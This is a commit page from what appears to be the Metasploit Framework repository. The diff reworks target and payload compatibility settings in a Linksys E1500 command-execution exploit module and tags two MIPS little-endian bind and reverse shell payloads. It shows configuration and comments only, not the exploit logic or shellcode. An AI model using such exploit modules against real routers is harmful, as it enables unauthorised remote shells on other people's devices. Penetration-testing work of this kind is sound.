Skip to content

Commit c5e358c

Browse files
author
m-1-k-3
committed
compatible payloads
1 parent 0164cc3 commit c5e358c

File tree

3 files changed

+27
-36
lines changed

3 files changed

+27
-36
lines changed

modules/exploits/linux/http/linksys_e1500_up_exec.rb

Lines changed: 23 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -35,41 +35,29 @@ def initialize(info = {})
3535
#'Platform' => 'linux',
3636
#'Arch' => ARCH_MIPSLE,
3737
'Targets' =>
38-
[
39-
[ 'Unix CMD',
40-
{
41-
'Arch' => ARCH_CMD,
42-
'Platform' => 'unix',
43-
#only payload cmd/unix/generic should be possible
44-
'Payload' =>
45-
{
46-
'Compat' =>
47-
{
48-
#not working :(
49-
'PayloadType' => 'cmd',
50-
'RequiredCmd' => 'generic'
51-
}
52-
},
53-
}
54-
],
55-
[ 'Linux Payload',
56-
{
57-
'Arch' => ARCH_MIPSLE,
58-
'Platform' => 'linux',
59-
'DisableNops' => true,
60-
#only mipsel payloads working ...
61-
'Payload' =>
62-
{
63-
'Compat' =>
64-
{
65-
#not working :(
66-
'PayloadType' => 'mipsle',
67-
'RequiredCmd' => 'shell'
68-
}
69-
},
70-
}
71-
],
38+
[
39+
[ 'CMD',
40+
{
41+
'Arch' => ARCH_CMD,
42+
'Platform' => 'unix',
43+
}
44+
],
45+
[ 'Linux Mipsel Payload',
46+
{
47+
'Arch' => ARCH_MIPSLE,
48+
'Platform' => 'linux',
49+
'DisableNops' => true,
50+
}
7251
],
52+
],
53+
'Payload' =>
54+
{
55+
'Compat' =>
56+
{
57+
'PayloadType' => 'cmd mipsle',
58+
'RequiredCmd' => 'generic shell_bind_tcp shell_reverse_tcp'
59+
},
60+
},
7361
'DefaultTarget' => 1,
7462
))
7563

@@ -156,8 +144,7 @@ def exploit
156144
request(cmd,user,pass,uri)
157145

158146
else
159-
#lets get some shells ...
160-
147+
#thx to Juan for his awesome work on the mipsel payloads
161148
@pl = generate_payload_exe
162149

163150
#

modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,8 @@ def initialize(info = {})
2626
'Arch' => ARCH_MIPSLE,
2727
'Handler' => Msf::Handler::BindTcp,
2828
'Session' => Msf::Sessions::CommandShellUnix,
29+
'PayloadType' => 'mipsle',
30+
'RequiredCmd' => 'shell_bind_tcp',
2931
'Payload' =>
3032
{
3133
'Offsets' => {} ,

modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,8 @@ def initialize(info = {})
2929
'Arch' => ARCH_MIPSLE,
3030
'Handler' => Msf::Handler::ReverseTcp,
3131
'Session' => Msf::Sessions::CommandShellUnix,
32+
'PayloadType' => 'mipsle',
33+
'RequiredCmd' => 'shell_reverse_tcp',
3234
'Payload' =>
3335
{
3436
'Offsets' => { },

0 commit comments

Comments
 (0)